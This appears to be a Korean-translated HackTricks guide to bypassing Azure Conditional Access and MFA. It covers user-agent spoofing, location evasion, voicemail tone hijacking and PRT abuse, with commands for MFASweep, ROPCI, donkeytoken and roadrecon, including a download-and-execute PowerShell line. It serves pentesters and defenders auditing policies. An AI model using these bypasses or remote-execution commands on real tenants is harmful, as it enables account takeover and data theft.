Az - Conditional Access Policies & MFA Bypass
Tip
AWS 해킹 학습 및 실습:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 학습 및 실습:HackTricks Training GCP Red Team Expert (GRTE)
Az 해킹 학습 및 실습:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 플랜을 확인하세요!
- 참여하세요 💬 Discord group 또는 telegram group에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- PR을 제출하여 해킹 트릭을 공유하세요: HackTricks 및 HackTricks Cloud github repos.
기본 정보
Azure Conditional Access policies는 Microsoft Azure에 설정된 규칙으로, 특정 조건에 따라 Azure 서비스와 애플리케이션에 대한 접근 제어를 적용합니다. 이 정책들은 적절한 상황에서 적절한 접근 제어를 적용함으로써 조직이 자원을 보호하는 데 도움을 줍니다.
Conditional access policies는 기본적으로 누가, 무엇을, 어디서, 어떻게 접근할 수 있는지를 정의합니다.
다음은 몇 가지 예시입니다:
- Sign-In Risk Policy: 이 정책은 sign-in risk가 감지되었을 때 multi-factor authentication (MFA)를 요구하도록 설정할 수 있습니다. 예를 들어, 사용자의 로그인 행동이 평소 패턴과 비교해 이상하거나 다른 나라에서 로그인하는 경우와 같이 시스템이 추가 인증을 요구할 수 있습니다.
- Device Compliance Policy: 이 정책은 조직의 보안 기준을 준수하는 디바이스에만 Azure 서비스에 대한 접근을 제한할 수 있습니다. 예를 들어, 최신 안티바이러스 소프트웨어가 설치되어 있거나 특정 운영체제 버전을 실행 중인 디바이스에서만 접근을 허용할 수 있습니다.
열거
# Get all the policies from Azure without needing any special permission with (idea from https://github.com/LuemmelSec/APEX/blob/main/APEX.ps1)
az rest --method GET --uri 'https://graph.windows.net/<tenant-id>/policies?api-version=1.61-internal' | jq '.value[] | select(.policyType == 18) | {displayName, policyDetail: (.policyDetail[] | fromjson)}'
# You need Policy.Read.ConditionalAccess or Policy.Read.All permission in Entra ID
az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditionalAccess/policies"
Conditional Acces Policies Bypasses
조건부 액세스 정책이 쉽게 조작할 수 있는 정보를 검사하여 정책 우회를 허용하는 경우가 있습니다. 예를 들어 정책이 MFA를 구성하고 있다면, 공격자는 이를 우회할 수 있습니다.
조건부 액세스 정책을 구성할 때 영향을 받는 users와 target resources(예: 모든 cloud apps)를 지정해야 합니다.
또한 정책을 발동(trigger) 시킬 conditions를 구성해야 합니다:
- Network: IP, IP ranges 및 지리적 위치
- 허용된 국가로 연결하기 위해 VPN 또는 Proxy를 사용하거나 허용된 IP 주소에서 로그인하는 방법을 찾아 우회할 수 있습니다
- Microsoft risks: User risk, Sign-in risk, Insider risk
- Device platforms: Any device 또는 Android, iOS, Windows phone, Windows, macOS, Linux 선택
- “Any device”가 선택되지 않았지만 나머지 옵션이 모두 선택된 경우, 해당 플랫폼과 관련 없는 임의의 user-agent를 사용해 우회할 수 있습니다
- Client apps: 옵션은 “Browser”, “Mobiles apps and desktop clients”, “Exchange ActiveSync clients” 및 “Other clients”
- 선택되지 않은 옵션으로 로그인하여 우회 가능
- Filter for devices: 사용 중인 기기와 관련된 규칙을 생성할 수 있습니다
- Authentication flows: 옵션은 “Device code flow” 및 “Authentication transfer”
- 공격자가 이러한 프로토콜을 피싱 시도 등으로 악용하려 하지 않는 한 공격자에게는 영향을 주지 않습니다
가능한 결과는: 차단(Block) 또는 조건부 액세스 허용(Grant) — 예: MFA 요구, 기기 준수 필요 등입니다.
Device Platforms - Device Condition
Device platform(Android, iOS, Windows, macOS…)을 기반으로 조건을 설정할 수 있지만, 이는 user-agent에 기반하므로 우회하기 쉽습니다. 모든 옵션에 대해 MFA를 강제하더라도, 인식되지 않는 user-agent를 사용하면 MFA나 차단을 우회할 수 있습니다:
.png)
브라우저가 알 수 없는 user-agent(예: Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile)를 전송하도록 하면 이 조건이 발동하지 않습니다.
개발자 도구에서 user agent를 수동으로 변경할 수 있습니다:
.png)
또는 이와 같은 브라우저 확장 기능을 사용할 수 있습니다.
Locations: Countries, IP ranges - Device Condition
조건부 정책에 위치가 설정되어 있다면, 공격자는 허용된 국가의 VPN을 사용하거나 허용된 IP 주소에서 액세스하는 방법을 찾아 이러한 조건을 우회할 수 있습니다.
Cloud Apps
특정 앱에 사용자가 접근할 때 예를 들어 MFA를 차단하거나 강제하도록 conditional access policies를 구성할 수 있습니다:
.png)
이 보호를 우회하려면 어떤 애플리케이션이든 로그인할 수 있는지 확인해야 합니다.
도구 AzureAppsSweep에는 수십 개의 application IDs가 하드코딩되어 있으며 이들에 대해 로그인을 시도하고 성공하면 토큰까지 알려줍니다.
특정 리소스의 특정 application IDs를 테스트하려면 다음과 같은 도구를 사용할 수도 있습니다:
roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout
<token>
또한 로그인 방법(예: 브라우저나 데스크톱 애플리케이션에서 로그인하려는 경우)을 보호할 수 있습니다. 도구 Invoke-MFASweep는 이러한 보호를 우회하려 시도하기 위해 몇 가지 검사를 수행합니다.
도구 donkeytoken도 유사한 목적으로 사용될 수 있지만 유지보수가 되지 않는 것처럼 보입니다.
도구 ROPCI도 이러한 보호를 테스트하고 MFA나 차단을 우회할 수 있는지 확인하는 데 사용할 수 있지만, 이 도구는 whitebox 관점에서 작동합니다. 먼저 tenant에서 허용된 Apps 목록을 다운로드한 다음 해당 앱들에 로그인을 시도합니다.
Other Az MFA Bypasses
Ring tone
One Azure MFA option is to receive a call in the configured phone number where it will be asked the user to send the char #.
Caution
문자는 단순한 음성 톤이기 때문에, 공격자는 해당 전화번호의 voicemail 메시지를 탈취하여 메시지로
#의 톤을 설정할 수 있습니다. 그런 다음 MFA를 요청할 때 피해자의 전화가 통화 중이도록(전화 걸기) 만들어 Azure의 통화가 음성사서함으로 리다이렉트되게 할 수 있습니다.
Compliant Devices
Policies often asks for a compliant device or MFA, so an attacker could register a compliant device, get a PRT token and bypass this way the MFA.
Start by registering a compliant device in Intune, then get the PRT with:
$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials
$prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GertNonce
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
<token returned>
다음 페이지에서 이러한 유형의 공격에 대한 자세한 정보를 확인하세요:
Az - Primary Refresh Token (PRT)
도구
AzureAppsSweep
이 스크립트는 일부 사용자 자격 증명을 얻고 일부 애플리케이션에 로그인할 수 있는지 확인합니다.
이는 나중에 악용하여 escalate pvivileges 할 수 있는 일부 애플리케이션에서 로그인 시 aren’t required MFA to login in some applications인지 확인하는 데 유용합니다.
roadrecon
모든 정책을 가져옵니다
roadrecon plugin policies
Invoke-MFASweep
MFASweep는 제공된 자격 증명을 사용하여 다양한 Microsoft 서비스에 로그인하려 시도하고 MFA가 활성화되어 있는지 식별하려고 시도하는 PowerShell 스크립트입니다. conditional access policies 및 기타 multi-factor authentication 설정이 어떻게 구성되어 있는지에 따라 일부 프로토콜은 단일 요소 인증으로 남을 수 있습니다. 또한 ADFS 구성에 대한 추가 검사를 수행하며 감지되면 on-prem ADFS 서버에 로그인 시도를 할 수 있습니다.
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
Invoke-MFASweep -Username <username> -Password <pass>
ROPCI
이 도구는 여러 프로덕션 AAD tenants에서 MFA bypasses를 식별하고 APIs를 악용하는 데 도움을 주었습니다. AAD 고객들은 MFA가 적용되어 있다고 믿었지만, ROPC 기반 인증이 성공했습니다.
Tip
brute-force할 앱 목록을 생성하려면 모든 applications를 나열할 수 있는 권한이 필요합니다.
./ropci configure
./ropci apps list --all --format json -o apps.json
./ropci apps list --all --format json | jq -r '.value[] | [.displayName,.appId] | @csv' > apps.csv
./ropci auth bulk -i apps.csv -o results.json
donkeytoken
Donkey token은 Conditional Access Policies를 검증하거나 2FA가 활성화된 Microsoft 포털을 테스트해야 하는 보안 컨설턴트를 돕기 위한 함수들의 모음입니다.
git clone https://github.com/silverhack/donkeytoken.git
Import-Module '.\donkeytoken' -Force
각 포털을 테스트하여 MFA 없이 로그인 가능한지 확인하세요:
$username = "conditional-access-app-user@azure.hacktricks-training.com"
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
Azure portal이 not constrained 상태이므로 이전 실행에서 감지된 모든 서비스에 접근하기 위해 gather a token from the portal endpoint to access any service detected 할 수 있습니다. 이 경우 Sharepoint가 식별되었고, 이에 접근하기 위한 token이 요청됩니다:
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
Read-JWTtoken -token $token.access_token
token이 Sites.Read.All (Sharepoint에서) 권한을 가지고 있다고 가정하면, MFA 때문에 웹에서 Sharepoint에 접근할 수 없더라도, 생성된 token을 사용해 파일에 접근하는 것이 가능합니다:
$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl
참고자료
Tip
AWS 해킹 학습 및 실습:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 학습 및 실습:HackTricks Training GCP Red Team Expert (GRTE)
Az 해킹 학습 및 실습:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 플랜을 확인하세요!
- 참여하세요 💬 Discord group 또는 telegram group에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- PR을 제출하여 해킹 트릭을 공유하세요: HackTricks 및 HackTricks Cloud github repos.
HackTricks Cloud

